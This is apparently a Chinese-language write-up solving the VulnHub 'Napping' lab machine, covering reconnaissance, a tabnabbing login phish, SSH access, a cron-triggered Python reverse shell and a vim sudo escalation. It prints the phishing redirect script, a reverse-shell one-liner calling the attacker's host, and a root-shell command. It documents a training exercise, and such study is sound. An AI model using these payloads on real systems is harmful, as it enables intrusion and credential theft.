Napping - vulnhub - writeup
Napping - vulnhub - writeup
信息收集
目标开放了22和80。
root@kali ~ » arp-scan -I eth1 -l
Interface: eth1, type: EN10MB, MAC: 00:0c:29:02:72:37, IPv4: 192.168.56.102
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.56.100 08:00:27:dd:a2:66 PCS Systemtechnik GmbH
192.168.56.103 08:00:27:49:ee:4d PCS Systemtechnik GmbH
2 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.295 seconds (111.55 hosts/sec). 2 responded
root@kali ~ » nmap -A -sT -p- --min-rate 6000 192.168.56.103 -o /root/Desktop/nmapResult/napping.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-15 02:38 EDT
Nmap scan report for 192.168.56.103
Host is up (0.0016s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 24:c4:fc:dc:4b:f4:31:a0:ad:0d:20:61:fd:ca:ab:79 (RSA)
| 256 6f:31:b3:e7:7b:aa:22:a2:a7:80:ef:6d:d2:87:6c:be (ECDSA)
|_ 256 af:01:85:cf:dd:43:e9:8d:32:50:83:b2:41:ec:1d:3b (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Login
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.41 (Ubuntu)
MAC Address: 08:00:27:49:EE:4D (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 1.60 ms 192.168.56.103
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.21 seconds
访问首页是一个登录页面,还有跳转到注册的链接。先看看目录,发现一个有意思的config页面,但是访问空白,尝试fuzz了参数但没有什么发现。

注册一个用户登录,欢迎页面可以提交一个链接,根据他的意思就是帮助博客推广,提供的链接会有管理员审核。

网页钓鱼
那可以尝试钓鱼,伪造这个站的登录交上去,管理员可能会误以为登录失效而重新登录。本来直接用setoolkit的,但是好像python版本不同导致库的使用方式也不一样,因为这个是在kali里编译了就懒得再去改代码了。

用cs来克隆一下登录 页面,下面没截到,但开了键盘监听。

但忘了一件重要的事:这个机子访问肯定用的计划任务,如下他用的python脚本,键盘监听肯定没用!

那就自己手动来,将页面源代码下载下来之后想怎么监听表单信息,首先想的是用下面这种但无效,可能是新窗口无法访问这个链接的原因。
<script>
window.open("http://192.168.56.102:1212/index.php", "_self");
</script>
然后尝试直接从当前窗口中导航到那个url,但这种也不行。
<script>
window.location.href = "http://192.168.56.102:1212/index.php";
</script>
试着使用这种,直接将父窗口的位置修改成指定的url就可以生效了。
<script>
window.opener.location="http://192.168.56.102:1212/index.php";
</script>
最后得到了凭据: username=daniel&password=C%40ughtm3napping123

ssh登录
但是密码不管是登录还是ssh都失败了,后面才猛然想起密码应该是经过了url编码,最后的凭据为: daniel:C@ughtm3napping123。

python反弹shell
无权执行sudo,上传了linpease没有什么可以直接利用的,不过可以看到这还有一个用户adrian。

但在文件这里可以看到另外一个用户adrain那里有个疑似flag的文件。

到这个目录下查看权限,这个user.txt无权访问,但是根据上面的daniel和adrian都同属于administrator这个组,所以query.py是有读写权限的。
daniel@napping:~$ cd /home/adrian/; ls -al
total 48
drwxr-xr-x 3 adrian adrian 4096 Sep 15 06:28 .
drwxr-xr-x 4 root root 4096 Oct 12 2021 ..
lrwxrwxrwx 1 adrian adrian 9 Oct 12 2021 .bash_history -> /dev/null
-rw-r--r-- 1 adrian adrian 0 Feb 25 2020 .bash_logout
-rw-r--r-- 1 adrian adrian 0 Feb 25 2020 .bashrc
drwx------ 2 adrian adrian 4096 Oct 11 2021 .cache
lrwxrwxrwx 1 adrian adrian 9 Oct 12 2021 .mysql_history -> /dev/null
-rw-r--r-- 1 adrian adrian 0 Feb 25 2020 .profile
-rw-rw-r-- 1 adrian adrian 75 Oct 11 2021 .selected_editor
-rw-r--r-- 1 adrian adrian 0 Oct 11 2021 .sudo_as_admin_successful
-rw------- 1 adrian adrian 0 Oct 30 2021 .viminfo
-rw-rw-r-- 1 adrian administrators 481 Oct 30 2021 query.py
-rw-rw-r-- 1 adrian adrian 19840 Sep 17 07:24 site_status.txt
-rw------- 1 adrian adrian 22 Oct 12 2021 user.txt
现在可以写入反弹shell的语句,文件名是查询的意思,应该是会有定时任务去执行他。上传pspy看一下果然,执行的uid为1000就是adrian这个用户。
2023/09/17 07:40:01 CMD: UID=0 PID=96528 | /usr/sbin/CRON -f
2023/09/17 07:40:01 CMD: UID=1000 PID=96530 | /bin/sh -c /usr/bin/python3 /home/adrian/query.py
2023/09/17 07:40:01 CMD: UID=0 PID=96531 | /bin/sh -c /usr/bin/python3 /root/del_links.py
2023/09/17 07:40:01 CMD: UID=0 PID=96532 | /usr/bin/python3 /root/del_links.py
写入反弹shell的python语句,等一会他执行了就会得到会话。
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.102",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")

完全交互式shell
设置环境变量,ctrl+z发送到后台,执行下面的命令升级到完全交互式shell。
export TERM=xterm // 允许clear
Ctrl + z
stty raw -echo;fg
reset

提权
到这就简单了,利用一手vim提权传送门。

拿到最后的flag收官。
sudo vim -c ':!/bin/sh'

Napping - vulnhub - writeup的更多相关文章
- vulnhub writeup - 持续更新
目录 wakanda: 1 0. Description 1. flag1.txt 2. flag2.txt 3. flag3.txt Finished Tips Basic Pentesting: ...
- vulnhub靶场|NAPPING: 1.0.1
准备: 攻击机:虚拟机kali.本机win10. 靶机:NAPPING: 1.0.1,地址我这里设置的桥接,,下载地址:https://download.vulnhub.com/napping/nap ...
- Vulnhub DC-1靶机渗透学习
前言 之前听说过这个叫Vulnhub DC-1的靶机,所以想拿来玩玩学习,结果整个过程都是看着别人的writeup走下来的,学艺不精,不过这个过程也认识到,学会了很多东西. 所以才想写点东西,记录一下 ...
- Vulnhub靶场DC-1 WP
前言 之前提到过最近在做vlunhub的靶场复现工作,今天开始更新writeup吧.(对着walkthrough一顿乱抄嘻嘻嘻) 关于DC-1(官网翻译来的) 描述 DC-1是一个专门构建的易受攻击的 ...
- VulnHub靶场学习_HA: Natraj
HA: Natraj Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-natraj,489/ 背景: Nataraj is a dancing avat ...
- Vulnhub实战-grotesque3靶机👻
Vulnhub实战-grotesque3靶机 靶机地址:http://www.vulnhub.com/entry/grotesque-301,723/ 1.靶机描述 2.主机探测,端口扫描 我们在vm ...
- 2016第七季极客大挑战Writeup
第一次接触CTF,只会做杂项和一点点Web题--因为时间比较仓促,写的比较简略.以后再写下工具使用什么的. 纯新手,啥都不会.处于瑟瑟发抖的状态. 一.MISC 1.签到题 直接填入题目所给的SYC{ ...
- ISCC2016 WriteUp
日期: 2016-05-01~ 注:隔了好久才发布这篇文章,还有两道Pwn的题没放,过一阵子放上.刚开始做这个题,后来恰巧赶上校内CTF比赛,就把重心放在了那个上面. 这是第一次做类似于CTF的题,在 ...
- 参加 Tokyo Westerns / MMA CTF 2nd 2016 经验与感悟 TWCTF 2016 WriteUp
洒家近期参加了 Tokyo Westerns / MMA CTF 2nd 2016(TWCTF) 比赛,不得不说国际赛的玩法比国内赛更有玩头,有的题给洒家一种一看就知道怎么做,但是做出来还需要洒家拍一 ...
- 爱春秋之戏说春秋 Writeup
爱春秋之戏说春秋 Writeup 第一关 图穷匕见 这一关关键是给了一个图片,将图片下载到本地后,打开以及查看属性均无任何发现,尝试把图片转换为.txt格式.在文本的最后发现这样一串有规律的代码: 形 ...
随机推荐
- 解密Prompt系列15. LLM Agent之数据库应用设计:DIN & C3 & SQL-Palm & BIRD
上一章我们主要讲搜索引擎和LLM的应用设计,这一章我们来唠唠大模型和DB数据库之间的交互方案.有很多数据平台已经接入,可以先去玩玩再来看下面的实现方案,推荐 sql translate:简单,文本到S ...
- 解决Dependency 'fastdfs-client-java’not found
如何能把 fastdfs的jar包安装到本地的仓库中(因为中央仓库没有FASTDFS的jar包地址) 1.首先去github上下载下来fastdfs的压缩包 下载链接 然后直接解压出来 2.使用cmd ...
- c语言代码练习8
//输入两个数组,输出两个数字的最大公约数#define _CRT_SECURE_NO_WARNINGS 1 #include <stdio.h> int main() { int n = ...
- client-go实战之八:更新资源时的冲突错误处理
欢迎访问我的GitHub 这里分类和汇总了欣宸的全部原创(含配套源码):https://github.com/zq2599/blog_demos 本篇概览 本文是<client-go实战> ...
- 【XXE实战】——浅看两道CTF题
[XXE实战]--浅看两道CTF题 上一条帖子[XXE漏洞]原理及实践演示对XXE的一些原理进行了浅析,于是写了两道CTF题巩固一下,顺便也记录一下第一次写出来CTF.两道题都是在BUU上找的:[NC ...
- 用Python实现将txt中的中文和中文标点保留下来
用正则表达式就可以实现这个操作. 中文标点的正则表达式: [\u3002\uff1b\uff0c\uff1a\u201c\u201d\uff08\uff09\u3001\uff1f\u300a\u30 ...
- CF1610B [Kalindrome Array]
Problem 题目简述 给你一个数列 \(a\),有这两种情况,这个数列是「可爱的」. 它本身就是回文的. 定义变量 \(x\),满足:序列 \(a\) 中所有值等于 \(x\) 的元素删除之后,它 ...
- CF223B Two Strings 题解
题目链接 题目分析 题目很短,只有两句话,可分析的不多,似乎难以入手,我们不妨换一个思路转化一下题意,改为:是否对于 \(s\) 中的每一个字符,总有一个等于 \(t\) 的 \(s\) 的子序列覆盖 ...
- react,es6的括号问题
JavaScript 会自动给行末添加分号.如果 return 后面换行不加括号就会变成 return;. 就是说因为jsx语句跨行了,如果写在一行是可以省略小括号的. const About = ( ...
- 这次弄一下maven 多模块项目,用vscode新建一下,便于管理项目
首先 创建一个mvn项目, 直接在命令行执行, 原型生成: mvn archetype:generate 选一个maven quick start的template, 然后删除src和target文件 ...